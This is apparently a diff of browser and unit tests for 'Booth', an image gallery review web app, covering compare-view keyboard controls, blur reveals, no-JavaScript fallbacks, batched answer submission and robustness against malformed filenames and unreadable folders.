"""`L` unlinks: `→` moves only B, and a SECOND `→` still moves only B (the
state survived the navigation). A strip click replaces the active side.
`X` swaps the active side, the reticle follows, and it survives a step."""
base, root = live
_bakeoff(root)
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
page.keyboard.press("l")
linked = page.locator("#cmp-link").get_attribute("aria-pressed")
_press_and_wait(page, "ArrowRight")
one = _pair(page)
_press_and_wait(page, "ArrowRight")
two = _pair(page)
_press_and_wait(page, "ArrowLeft")
left = _pair(page)
_press_and_wait(page, "ArrowRight")
with page.expect_navigation(wait_until="networkidle"):
page.locator('.film-f[data-rel="m-3-marsh-s37.png"]').click()
picked = _pair(page)
page.keyboard.press("x")
active = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
[...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel)]""")
_press_and_wait(page, "ArrowRight")
stepped = _pair(page)
after = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
getComputedStyle(document.querySelector('.cmp-side.is-active > .cmp-stagewrap'), '::after').backgroundImage !== 'none',
getComputedStyle(document.querySelector('.cmp-side:not(.is-active) > .cmp-stagewrap'), '::after').backgroundImage !== 'none']""")
page.close()
assert linked == "false", linked
assert one == ("m-1-dock-s11.png", "r-2-forge-s23.png"), one
assert two == ("m-1-dock-s11.png", "r-3-marsh-s37.png"), two
assert left == one, ("← moves only the active side back", left)
assert picked == ("m-1-dock-s11.png", "m-3-marsh-s37.png"), picked
assert active == ["a", ["m-1-dock-s11.png"]], active
assert stepped == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), stepped
assert after == ["a", True, False], after
_FILTERS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => getComputedStyle(i).filter)"""
_REVEALS = """() => [...document.querySelectorAll('.cmp-reveal')].map(b => getComputedStyle(b).display !== 'none')"""
def test_blur_is_honest_on_both_sides(browser, live):
"""A blurred side IS blurred — the computed filter, not just a class. Its
own reveal lifts it and leaves the other side blurred. Reveal all lifts
both, and stands both per-side reveals down."""
from booth.app import set_blurred
base, root = live
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
set_blurred(b, "a.png", True)
set_blurred(b, "b.png", True)
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
before = page.evaluate(_FILTERS)
shown = page.evaluate(_REVEALS)
page.locator('.cmp-reveal[data-side="b"]').click()
page.wait_for_timeout(400) # the filter transition
own = page.evaluate(_FILTERS)
page.locator('.cmp-reveal[data-side="b"]').click()
page.locator('.cmp-reveal[data-side="a"]').click()
page.wait_for_timeout(400)
own_a = page.evaluate(_FILTERS)
page.locator('.cmp-reveal[data-side="a"]').click()
page.locator("[data-reveal-all]").click()
page.wait_for_timeout(400)
everything = page.evaluate(_FILTERS)
stood_down = page.evaluate(_REVEALS)
page.close()
assert all("blur(" in f for f in before), before
assert shown == [True, True], shown
assert "blur(" in own[0] and "blur(" not in own[1], own
assert "blur(" not in own_a[0] and "blur(" in own_a[1], own_a
assert all("blur(" not in f for f in everything), everything
assert stood_down == [False, False], stood_down
def test_a_save_keeps_the_active_side(browser, live):
"""Make A active (a press on its stage), then flag B in place. The save
swaps the strip and the labels, and A is STILL the active side — on its
stage and on the strip — and a strip click after the swap replaces A."""
base, root = live
_bakeoff(root)
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
ax, ay = _center(page, "a")
page.mouse.click(ax, ay)
page.evaluate("window.__noReload = 1")
page.keyboard.press("b")
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
kept = page.evaluate("""() => ({
reload: window.__noReload !== 1,
side: document.querySelector('.cmp-side.is-active').dataset.side,
strip: [...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel),
url: location.search,
})""")
with page.expect_navigation(wait_until="networkidle"):
page.locator('.film-f[data-rel="m-2-forge-s23.png"]').click()
picked = _pair(page)
side = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
# the active side lives in the URL: `X` rewrites it in place, so a reload
# shows the side that was active, not the default
page.keyboard.press("x")
page.reload(wait_until="networkidle")
reloaded = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
page.close()
assert reloaded == "b", reloaded
assert not kept["reload"] and kept["side"] == "a", kept
assert kept["strip"] == ["m-1-dock-s11.png"] and "side=a" in kept["url"], kept
assert picked == ("m-2-forge-s23.png", "r-1-dock-s11.png") and side == "a", (picked, side)
def test_an_encoded_view_state_name_is_still_view_state(browser, live):
"""`%73ide=a` IS `side=a` to the server, so the page must treat it as view
state too: after X, a reload shows the side X chose, not the stale one
the encoded parameter still named (heid bug hunt, hulda)."""
base, root = live
_bakeoff(root)
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png&%73ide=a")
first = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
page.keyboard.press("x")
page.reload(wait_until="networkidle")
after = page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side")
page.close()
assert (first, after) == ("a", "b"), (first, after)
def test_without_js_every_judgment_and_step_still_works(browser, live):
"""INV-4. Scripts off: the pair renders in two Fit stages, the step and
strip links navigate, both flag forms are there and a flag lands back on
the same pair. Nothing judgment-bearing hides behind a script."""
from booth.marks import marks_for
base, root = live
b = _bakeoff(root)
ctx = browser.new_context(java_script_enabled=False, viewport={"width": 1440, "height": 900})
page = ctx.new_page()
page.goto(f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png", wait_until="networkidle")
fit = page.evaluate("""() => document.documentElement.classList.contains('stage-one') ||
[...document.querySelectorAll('.cmp-side .vstage img')].some(i =>
Math.round(i.getBoundingClientRect().width) === i.naturalWidth)""")
hidden = [page.locator(s).is_visible() for s in ("#cmp-link", "#vtoggle")]
forms = page.locator(".cmp-flag form").count()
page.locator('a[data-step="both-next"]').click()
page.wait_for_load_state("networkidle")
both = _pair(page)
page.locator('a[data-step="a-prev"]').click()
page.wait_for_load_state("networkidle")
a_back = _pair(page)
page.locator('.film-f[data-rel="m-4-tower-s42.png"]').click()
page.wait_for_load_state("networkidle")
strip = _pair(page)
page.locator("#cmp-flag-b").click()
page.wait_for_load_state("networkidle")
landed = _pair(page)
shows = page.locator("#cmp-flag-b").get_attribute("class")
ctx.close()
assert fit is False and hidden == [False, False] and forms == 2, (fit, hidden, forms)
assert both == ("m-2-forge-s23.png", "r-2-forge-s23.png"), both
assert a_back == ("m-1-dock-s11.png", "r-2-forge-s23.png"), a_back
assert strip == ("m-1-dock-s11.png", "m-4-tower-s42.png"), strip
assert landed == strip and "is-flagged" in shows, (landed, shows)
assert [m.target for m in marks_for(b) if m.shape == "flag"] == ["m-4-tower-s42.png"]
def test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view(browser, live):
"""C3: a held modifier makes every key inert; Space on a focused control
presses it and never steps, and from nowhere in particular it steps
(Shift+Space back). `C` in the review opens compare against the next
item; `Esc` (or `C`) in compare returns to the review of A."""
base, root = live
_bakeoff(root)
v = _pics(root, {"a.png": (400, 300)}, name="v")
(v / "b.webm").write_bytes(b"\x1aE\xdf\xa3")
page = browser.new_page(viewport={"width": 1440, "height": 900})
_open(page, f"{base}/b/g/compare?a=m-2-forge-s23.png&b=r-2-forge-s23.png")
start = page.url
for key in ("Control+ArrowRight", "Alt+ArrowRight", "Meta+ArrowRight", "Control+x", "Alt+l"):
page.keyboard.press(key)
page.wait_for_timeout(300)
inert = (page.url == start,
page.evaluate("document.querySelector('.cmp-side.is-active').dataset.side"),
page.locator("#cmp-link").get_attribute("aria-pressed"))
page.locator("#cmp-link").focus()
page.keyboard.press(" ")
page.wait_for_timeout(300)
pressed = (page.url.split("?")[1], page.locator("#cmp-link").get_attribute("aria-pressed"))
page.locator("#cmp-link").press(" ") # linked again
page.evaluate("document.activeElement.blur()")
# ...and never from a player on either stage: Space is the player's
page.goto(f"{base}/b/v/compare?a=a.png&b=b.webm", wait_until="networkidle")
page.locator(".cmp-media").focus()
page.keyboard.press(" ")
page.wait_for_timeout(300)
player = page.url.endswith("/b/v/compare?a=a.png&b=b.webm")
page.goto(start, wait_until="networkidle")
_press_and_wait(page, " ")
fwd = _pair(page)
_press_and_wait(page, "Shift+ ")
back = _pair(page)
_press_and_wait(page, "Escape")
esc = page.url
_press_and_wait(page, "c")
c_review = _pair(page)
_press_and_wait(page, "C")
c_back = page.url
page.close()
assert inert == (True, "b", "true"), inert
assert player, "Space on a focused player stepped the pair"
assert pressed == ("a=m-2-forge-s23.png&b=r-2-forge-s23.png&link=0", "false"), pressed
assert fwd == ("m-3-marsh-s37.png", "r-3-marsh-s37.png") and back == ("m-2-forge-s23.png", "r-2-forge-s23.png"), (fwd, back)
assert esc.endswith("/b/g/view?f=m-2-forge-s23.png"), esc
assert c_review == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), c_review
assert c_back.endswith("/b/g/view?f=m-2-forge-s23.png"), c_back
+498 -4
View File
@@ -31,11 +31,22 @@ playwright_api = pytest.importorskip(
)
# NO INTERNET for the test browser. Every Booth page asks fonts.googleapis.com
# for its faces, and "networkidle" waits for that request — so a stalled request
# to Google hung the page until goto's 30s timeout, the failure mode of the
# full-suite flake (Page.goto timeouts in tests far apart in one run; a stalled
# font request reproduces it exactly). Whether that was THE cause is unproven;
# a test that depends on Google being reachable is wrong regardless. Every
# hostname but 127.0.0.1 now fails DNS at once, and the pages fall back to the
# system stacks the tokens declare. Positive control: test_*_has_no_internet.
OFFLINE = ["--host-resolver-rules=MAP * ~NOTFOUND , EXCLUDE 127.0.0.1"]
@pytest.fixture(scope="module")
def browser():
with playwright_api.sync_playwright() as pw:
try:
b = pw.chromium.launch()
b = pw.chromium.launch(args=OFFLINE)
except Exception as exc: # noqa: BLE001 - any launch failure is a skip
pytest.skip(f"no usable chromium: {exc}")
yield b
@@ -50,12 +61,25 @@ def live(tmp_path):
sock = socket.socket()
sock.bind(("127.0.0.1", 0))
port = sock.getsockname()[1]
sock.close()
# ⚠ THE SOCKET IS HANDED TO UVICORN STILL BOUND, never closed and
# re-opened by port number. The old form did bind -> getsockname -> CLOSE ->
# tell uvicorn the number, which leaves a window where the kernel can give
# that port to somebody else — and this suite runs TWO browser files that
# each start a server per test, so the other one is right there competing
# for it. Passing the live socket removes the window rather than narrowing
# it.
#
# Honest about the evidence: two different browser tests failed once each
# across full-suite runs while passing 3/3 and 5/5 on their own, which is
# the signature of contention. We cannot prove from two samples that this
# race was the cause. It is a real defect either way, and it is the only
# one visible in the harness.
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
config = uvicorn.Config(app, host="127.0.0.1", port=port, log_level="error")
server = uvicorn.Server(config)
thread = threading.Thread(target=server.run, daemon=True)
thread = threading.Thread(target=lambda: server.run(sockets=[sock]), daemon=True)
thread.start()
deadline = time.time() + 10
while not server.started and time.time() < deadline:
@@ -69,6 +93,7 @@ def live(tmp_path):
thread.join(timeout=10)
PNG = b"\x89PNG\r\n\x1a\n"
SEAM = '<script src="/_booth/embed.js" defer></script>'
@@ -464,7 +489,9 @@ def test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix(browser, l
target = page.locator(".booth-nav-asks").get_attribute("href")
assert "batch2" not in target, f"the chip landed on the sibling mark: {target}"
assert target.startswith("#bk-ask-batch")
assert page.locator(target).count() == 1
# as S5a fixup: derived ids take a `:` (`bk-ask-batch:title`) so they cannot
# collide with a question key; a fragment may hold one, a #selector cannot
assert page.locator(f'[id="{target[1:]}"]').count() == 1
page.close()
@@ -537,3 +564,470 @@ def test_the_chip_follows_a_payload_that_disagrees_with_the_fragments(browser, l
page.wait_for_selector(".booth-nav-asks")
assert page.locator(".booth-nav-asks").inner_text() == "? 2 open asks"
page.close()
# --- the grid keyboard, which is the OTHER thing no string assertion sees ----
# Added 2026-09-22 after the heid bug-hunt panel found a defect whose entire
# expression is viewport geometry: a group jump moves the scroll position, the
# keyboard cursor does not know, and the next arrow key scrolls back.
def _gallery(root, name="g"):
"""Enough tiles that the grid must scroll, in two groups."""
b = root / name
b.mkdir()
for i in range(1, 13):
(b / f"aa{i:02d}.png").write_bytes(PNG)
for i in range(1, 13):
(b / f"zz{i:02d}.png").write_bytes(PNG)
return b
def test_an_arrow_after_a_group_jump_does_not_scroll_back(browser, live):
"""GRÓA's solo. The jump scrolled the viewport but left the cursor at -1,
so the next ArrowRight focused tile 0 and `scrollIntoView` yanked the page
back to the top — silently reversing the jump the operator just made.
The whole failure is geometry, so it is asserted on geometry: scroll
position after the arrow must stay near where the jump landed, not return
to the top. Defeating change: `focus(at + 1)` with `at` starting at -1."""
base, root = live
_gallery(root)
page = browser.new_page()
page.set_viewport_size({"width": 900, "height": 600})
page.goto(f"{base}/b/g/", wait_until="networkidle")
page.click('.rail-g[data-group="zz"]')
page.wait_for_timeout(250)
after_jump = page.evaluate("window.scrollY")
assert after_jump > 0, "the group jump did not scroll at all"
page.keyboard.press("ArrowRight")
page.wait_for_timeout(250)
after_key = page.evaluate("window.scrollY")
page.close()
assert after_key > after_jump / 2, (
f"the arrow key undid the jump: scrollY {after_jump} -> {after_key}"
)
def test_the_keyboard_flag_actually_submits(browser, live):
"""HULDA's solo. `f` selected `.flagbtn, [name="target"]`; nothing in this
repo emits `.flagbtn`, so it clicked the HIDDEN target input — and clicking
a hidden input does not submit its form. The shortcut never worked while
still swallowing the keystroke.
Asserted end to end: press f, and the flag must come back from the server.
R2 C3 (docs/contracts/r2_flow.contract.md, "Assertions that change"): this
used to expect a NAVIGATION — the flag form POSTed, 303'd and reloaded. That
was the no-JS design working, not a defect, and it still is with scripts
off (tests/golden/r2_mark_303.json replays those responses byte for byte).
What changed is that WITH JS ON the flag now applies in place. The claim
that matters is kept and tightened: the flag must come back from the SERVER
(the swapped tile is server-rendered), and a marker set on the window before
the keypress must survive, which a reload would wipe."""
base, root = live
_gallery(root)
page = browser.new_page()
page.goto(f"{base}/b/g/", wait_until="networkidle")
page.evaluate("window.__noReload = 1")
page.keyboard.press("ArrowRight")
# ⚠ WAIT FOR THE CURSOR TO LAND BEFORE PRESSING `f`. Firing both keys
# back to back assumed the first had finished, and `focus()` does a
# `scrollIntoView` — so under full-suite load `f` could arrive with no
# cursor set and flag nothing. It failed once in roughly five whole-suite
# runs while passing 3/3 on its own, which is the signature of a race
# rather than a defect, and a test that goes red one time in five trains
# people to ignore red.
page.wait_for_selector("figure.item.is-cursor", timeout=10000)
page.keyboard.press("f")
page.wait_for_selector("figure.item.is-flagged", timeout=10000)
flagged = page.locator("figure.item.is-flagged").count()
survived = page.evaluate("window.__noReload === 1")
page.close()
assert flagged == 1, f"the f key flagged {flagged} items, expected 1"
assert survived, "the flag reloaded the page; in-place judgment must not"
def test_the_test_browser_has_no_internet(browser, live):
"""Positive control for OFFLINE (booth-dev's ask: see the fix in force,
don't assume it). An external host fails at once, and a Booth page — whose
fonts are external — still goes idle in well under the goto timeout."""
base, root = live
(root / "g").mkdir()
page = browser.new_page()
t = time.time()
with pytest.raises(Exception) as err:
page.goto("https://fonts.googleapis.com/css2?family=IBM+Plex+Sans", timeout=10000)
external = time.time() - t
page.close()
page = browser.new_page()
t = time.time()
page.goto(f"{base}/b/g/", wait_until="networkidle")
local = time.time() - t
page.close()
assert "ERR_NAME_NOT_RESOLVED" in str(err.value) and external < 3, (str(err.value)[:80], external)
assert local < 10, local
# ---- one submit saves every ask on the page (2026-09-27) ---------------------
#
# The operator's report, relayed by infra-ops: "submitting a question should go
# through and submit ALL answers. As it is, I go through, submit a question and
# it only submits the last one and clears out the top ones." Confirmed against
# the live `auk-audition` booth before any code: three single-question asks,
# each its own <form>; the access log shows ONE POST at 15:02:23 saving the
# LAST ask on the page, its 303 reload wiping the other two, then a 400 when a
# now-blank ask was submitted. Contract: u3_declared_embed_seam, "Submitting
# several asks at once".
def _asks(booth, ids=("a1", "a2", "a3")):
"""Single-question asks, declared in `ids` order, which is also their id
order, so `(created, id)` cannot disagree with the order written here."""
from booth.marks import declare_pick
booth.mkdir(parents=True, exist_ok=True)
for mid in ids:
declare_pick(booth, mid, {"prompt": f"About {mid}?", "options": ["yes", "no"]})
return booth
def _answers(booth):
raw = json.loads((booth / ".marks.json").read_text())
return {m["id"]: m.get("answer") for m in raw["marks"]}
def _choice(page, mid, value):
page.check(f'input[name="choice"][form="bk-ask-form-{mid}"][value="{value}"]')
def _press(page, mid):
page.click(f"#bk-ask-{mid}-submit button.bk-ask-go")
def _watch_posts(page):
"""Every POST the page makes, as (resource type, ask id), in send order. A
native form submission is a `document` request; a script's is a `fetch`."""
from urllib.parse import parse_qs
posts = []
def seen(r):
if r.method == "POST":
ask = parse_qs(r.post_data or "").get("ask", [None])[0]
posts.append((r.resource_type, ask))
page.on("request", seen)
return posts
PLAIN = f"<!doctype html><title>r</title><body><h1>R</h1>{SEAM}</body>"
@pytest.mark.parametrize("pressed", ["a3", "a1"])
def test_one_submit_saves_every_answered_ask_on_the_page(browser, live, pressed):
"""The operator's exact sequence: answer top to bottom, press the LAST
submit. And the same from the FIRST button, because "press any one" is the
acceptance. Every ask he answered is recorded, and after the page comes
back every pick he made is still showing."""
base, data = live
b = _asks(data / "b")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
_choice(page, "a1", "yes")
_choice(page, "a2", "no")
_choice(page, "a3", "yes")
with page.expect_navigation():
_press(page, pressed)
got = _answers(b)
assert {k: (v or {}).get("choice") for k, v in got.items()} == \
{"a1": "yes", "a2": "no", "a3": "yes"}, got
page.wait_for_selector("#bk-ask-a3-submit")
showing = page.evaluate("""() => ['a1', 'a2', 'a3'].map(id => {
var c = document.querySelector('input[name="choice"][form="bk-ask-form-' + id + '"]:checked');
return c ? c.value : null; })""")
page.close()
assert showing == ["yes", "no", "yes"], f"a pick disappeared on reload: {showing}"
def test_a_blank_ask_is_skipped_never_refused(browser, live):
"""Pressing the submit of an ask he left blank used to be a 400 page
("nothing to record"): the live log has one, four seconds after the reload
that wiped his picks. Blanks stay legal: the ask is skipped, never sent, and
the others are saved."""
base, data = live
b = _asks(data / "b")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
posts = _watch_posts(page)
_choice(page, "a1", "no")
_choice(page, "a3", "yes")
with page.expect_navigation():
_press(page, "a2")
page.close()
got = _answers(b)
assert got["a1"]["choice"] == "no" and got["a3"]["choice"] == "yes", got
assert got["a2"] is None, "a blank ask was recorded"
assert [a for _, a in posts] == ["a1", "a3"], posts
def test_an_ask_nobody_touched_is_not_re_sent(browser, live):
"""Re-sending an answer re-dates it, and a reading session sees a fresh
answer that nobody gave. Only what changed since the page loaded is sent —
not the recorded answer sitting under the button that was pressed."""
from booth.marks import answer_pick
base, data = live
b = _asks(data / "b", ("a1", "a2"))
answer_pick(b, "a1", "yes")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a2-submit")
posts = _watch_posts(page)
_choice(page, "a2", "no")
with page.expect_navigation():
_press(page, "a1") # the "Update answer" button
page.close()
assert [a for _, a in posts] == ["a2"], posts
assert _answers(b)["a2"]["choice"] == "no"
def test_one_changed_ask_still_submits_as_a_plain_form(browser, live):
"""With nothing else on the page to save, a submit is exactly what it was:
the browser's own form POST and its 303. The batch is an addition that
engages only when another ask holds unsent input."""
base, data = live
b = _asks(data / "b")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
posts = _watch_posts(page)
_choice(page, "a2", "yes")
with page.expect_navigation():
_press(page, "a2")
page.close()
assert posts == [("document", "a2")], posts
assert _answers(b)["a2"]["choice"] == "yes"
def test_the_asks_are_sent_in_document_order(browser, live):
"""INV-6: the batch is an ordered collection, and its rule is the order the
forms sit in the document — here the REVERSE of the payload's, because the
author anchored a2 above a1."""
base, data = live
b = _asks(data / "b", ("a1", "a2"))
html = ("<!doctype html><title>r</title><body>"
'<div data-booth-mark="a2"></div><div data-booth-mark="a1"></div>'
f"{SEAM}</body>")
page = _open(browser, base, "b", html, b)
page.wait_for_selector("#bk-ask-a1-submit")
posts = _watch_posts(page)
_choice(page, "a1", "yes")
_choice(page, "a2", "yes")
with page.expect_navigation():
_press(page, "a1")
page.close()
assert [a for _, a in posts] == ["a2", "a1"], posts
def test_a_refused_ask_costs_only_itself_and_clears_nothing(browser, live):
"""The session withdrew a2 while the operator was answering. a1 and a3 are
still saved — one stale ask must not cost the rest — and the page does NOT
reload, so the pick he made for a2 is still on screen, and the page says
which one did not save."""
from booth.marks import delete_mark
base, data = live
b = _asks(data / "b")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
page.evaluate("window.__same = 1")
_choice(page, "a1", "yes")
_choice(page, "a2", "yes")
_choice(page, "a3", "no")
delete_mark(b, "a2")
_press(page, "a3")
page.wait_for_selector("#bk-ask-a3-submit .bk-ask-status:not([hidden])", timeout=10000)
said = page.locator("#bk-ask-a3-submit .bk-ask-status").inner_text()
kept = page.is_checked('input[name="choice"][form="bk-ask-form-a2"][value="yes"]')
same = page.evaluate("window.__same === 1")
page.close()
got = _answers(b)
assert got["a1"]["choice"] == "yes" and got["a3"]["choice"] == "no", got
assert "a2" not in got
assert same, "a failed batch reloaded the page and cleared what was entered"
assert kept, "the refused ask's pick was cleared"
assert "a2" in said and "2 of 3" in said, said
def test_an_authors_own_form_is_never_taken_over(browser, live):
"""The batch listens to the forms the SCRIPT mounted. An author's own form
on the same report — a search box, say — submits as the author wrote it,
even while the operator has unsent picks, and nothing of ours is sent."""
base, data = live
b = _asks(data / "b", ("a1", "a2"))
html = ("<!doctype html><title>r</title><body>"
# an id with OUR prefix, so the mounted-root check is what excludes
# it, not the selector (kimi, hulda: the prefix alone hid the guard)
'<form id="bk-ask-form-theirs" action="/b/b/" method="get"><input name="q" value="x">'
'<button id="go">go</button></form>'
f"{SEAM}</body>")
page = _open(browser, base, "b", html, b)
page.wait_for_selector("#bk-ask-a2-submit")
posts = _watch_posts(page)
_choice(page, "a1", "yes")
_choice(page, "a2", "no")
with page.expect_navigation():
page.click("#go")
url = page.url
page.close()
assert posts == [], posts
assert url.endswith("?q=x"), url
assert _answers(b) == {"a1": None, "a2": None}
# ---- the flight window (heid bug-hunt, 2026-09-27, 4 of 4 arms) --------------
#
# The batch reads every form at the press, but the page stays live for the
# whole flight. Every guard that protects that window survived its mutation,
# because no test pressed or edited inside one. These do: each POST's reply is
# held 700ms in the CLIENT, so the window is wide enough to act in on purpose.
_HOLD_POSTS = """
(function () {
var real = window.fetch;
window.fetch = function (u, o) {
var p = real.apply(this, arguments);
if (o && o.method === 'POST') {
return p.then(function (r) {
return new Promise(function (res) { setTimeout(function () { res(r); }, 700); });
});
}
return p;
};
})();
"""
def _open_held(browser, base, name, html, booth):
(booth / "index.html").write_text(html, encoding="utf-8")
page = browser.new_page()
page.add_init_script(_HOLD_POSTS)
page.goto(f"{base}/b/{name}/", wait_until="networkidle")
return page
def test_a_press_inside_the_flight_never_fires_a_native_post(browser, live):
"""hulda: press a blank ask's button (a batch of the OTHER one starts), then
that other ask's own button. No other form is dirty any more from its point
of view, so it used to fall through to the browser — a native POST of an
answer already in flight, and a navigation racing the batch."""
base, data = live
b = _asks(data / "b", ("a1", "a2"))
page = _open_held(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a2-submit")
posts = _watch_posts(page)
_choice(page, "a2", "yes")
with page.expect_navigation(timeout=10000):
_press(page, "a1")
page.wait_for_timeout(150)
_press(page, "a2")
page.close()
assert posts == [("fetch", "a2")], posts
def test_input_made_during_the_flight_is_kept_and_saved_on_the_next_press(browser, live):
"""All four arms: a successful batch reloaded with no carry, so a pick made
while it was in flight vanished. Now the page stays when anything changed
after the press, says so, and the next press sends ONLY that — the saved
answers are not sent again (their baseline moved to what the server took)."""
base, data = live
b = _asks(data / "b")
page = _open_held(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
page.evaluate("window.__same = 1")
posts = _watch_posts(page)
_choice(page, "a1", "yes")
_choice(page, "a2", "no")
_press(page, "a1")
page.wait_for_timeout(150)
_choice(page, "a3", "no") # mid-flight
page.wait_for_selector("#bk-ask-a1-submit .bk-ask-status:not([hidden])", timeout=10000)
said = page.locator("#bk-ask-a1-submit .bk-ask-status").inner_text()
kept = page.is_checked('input[name="choice"][form="bk-ask-form-a3"][value="no"]')
same = page.evaluate("window.__same === 1")
with page.expect_navigation(timeout=10000):
_press(page, "a3")
page.close()
assert same and kept, (same, kept)
assert "not saved yet" in said, said
assert [a for _, a in posts] == ["a1", "a2", "a3"], posts
assert {k: v["choice"] for k, v in _answers(b).items()} == {"a1": "yes", "a2": "no", "a3": "no"}
def test_a_retry_after_a_refusal_sends_only_what_did_not_save(browser, live):
"""groa, hulda: after a partial failure the saved forms still read as dirty,
so the retry re-POSTed them and re-dated answers nobody changed."""
from booth.marks import delete_mark
base, data = live
b = _asks(data / "b")
page = _open(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a3-submit")
for mid in ("a1", "a2", "a3"):
_choice(page, mid, "yes")
delete_mark(b, "a2")
posts = _watch_posts(page)
_press(page, "a3")
page.wait_for_selector("#bk-ask-a3-submit .bk-ask-status:not([hidden])", timeout=10000)
page.evaluate("document.querySelector('#bk-ask-a3-submit .bk-ask-status').hidden = true")
_press(page, "a3")
page.wait_for_selector("#bk-ask-a3-submit .bk-ask-status:not([hidden])", timeout=10000)
page.close()
assert [a for _, a in posts] == ["a1", "a2", "a3", "a2"], posts
def test_the_empty_status_line_stays_hidden_under_host_css(browser, live):
"""groa, regin: `p{display:block}` in the author's sheet outranks the UA's
own [hidden]; the embed restates it at class specificity."""
base, data = live
b = _asks(data / "b", ("a1",))
html = ("<!doctype html><title>r</title><style>p{display:block}</style>"
f"<body><h1>R</h1>{SEAM}</body>")
page = _open(browser, base, "b", html, b)
page.wait_for_selector("#bk-ask-a1-submit")
shown = page.evaluate(
"getComputedStyle(document.querySelector('#bk-ask-a1-submit .bk-ask-status')).display")
page.close()
assert shown == "none", shown
def test_a_refusal_blocks_the_reload_even_when_nothing_reads_dirty(browser, live):
"""hulda: the reload waited only on "nothing dirty". A refused form the
operator then set back to its first value reads clean — so the page
reloaded over a failure and never said it. A refusal blocks the reload on
its own."""
from booth.marks import answer_pick, delete_mark
base, data = live
b = _asks(data / "b", ("a1", "a2"))
answer_pick(b, "a1", "yes")
answer_pick(b, "a2", "yes")
page = _open_held(browser, base, "b", PLAIN, b)
page.wait_for_selector("#bk-ask-a2-submit")
page.evaluate("window.__same = 1")
_choice(page, "a1", "no")
_choice(page, "a2", "no")
delete_mark(b, "a1")
_press(page, "a2")
page.wait_for_timeout(150)
_choice(page, "a1", "yes") # back to its first value, mid-flight
page.wait_for_timeout(2500)
same = page.evaluate("window.__same === 1")
shown = page.evaluate(
"!document.querySelector('#bk-ask-a2-submit .bk-ask-status').hidden")
page.close()
assert same, "the page reloaded over a refused POST"
assert shown, "the refusal was never said"
+1195
View File
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+214
View File
@@ -13,6 +13,7 @@ from fastapi.testclient import TestClient
from booth.app import build_gallery, create_app, list_booths
from booth.items import (
CAPTION_MAX,
Item,
booth_items,
find_item,
@@ -316,3 +317,216 @@ def test_booth_items_carries_the_group(tmp_path):
_touch(b / "99.png")
got = {it.rel: it.group for it in booth_items(b)}
assert got == {"ac01.png": "ac", "ac02.png": "ac", "99.png": None}
def test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth(tmp_path):
"""HULDA, and it is worse than the bundle could see: `quote()` raises
UnicodeEncodeError on a surrogate from a non-UTF-8 filename, and
`booth_items` feeds `list_booths` — so ONE 0xff byte in ONE booth's
filename took out the INDEX for every booth, not just its own page.
The repo's standing posture is that a damaged file costs its own tile and
never the page. A file whose name cannot be percent-encoded cannot be
linked or served either, so it cannot be an item.
Defeating change: dropping the guard — this raises before it renders."""
import os
b = tmp_path / "b"
b.mkdir()
(b / "ok.png").write_bytes(b"\x89PNG")
(b / os.fsdecode(b"bad\xff.png")).write_bytes(b"\x89PNG")
got = booth_items(b)
assert [it.rel for it in got] == ["ok.png"]
def test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index(tmp_path):
"""Found folding R2's bug-hunt: `Path.is_file()` swallows a missing entry
but PROPAGATES EACCES. A directory with read and no execute permission
lists its names, and every stat under it raises — so one such folder in
one booth took out the index for every booth, the same blast radius as the
unrepresentable filename above. Its files are not items.
Defeating change: calling `is_file()` outside the OSError guard."""
b = tmp_path / "b"
b.mkdir()
(b / "ok.png").write_bytes(b"\x89PNG")
sub = b / "d"
sub.mkdir()
(sub / "x.png").write_bytes(b"\x89PNG")
sub.chmod(0o644) # r--: listable, nothing inside stat-able
try:
with pytest.raises(PermissionError):
(sub / "x.png").stat() # the fixture is live, not assumed
assert [it.rel for it in booth_items(b)] == ["ok.png"]
[row] = list_booths(tmp_path, ttl_seconds=86400)
assert row["name"] == "b" and row["count"] == 1
finally:
sub.chmod(0o755)
def test_a_huge_caption_sidecar_is_not_read_whole(tmp_path):
"""HULDA: `read_text()` pulled the entire sidecar into memory before
`[:CAPTION_MAX]` trimmed it, and the handler catches only OSError — so a
pathological sidecar is a MemoryError, not a missing caption.
Bounded at the READ. Deliberately NOT bounded by st_size: a FIFO reports
st_size 0 and a bound that trusts it inherits what it does not mean —
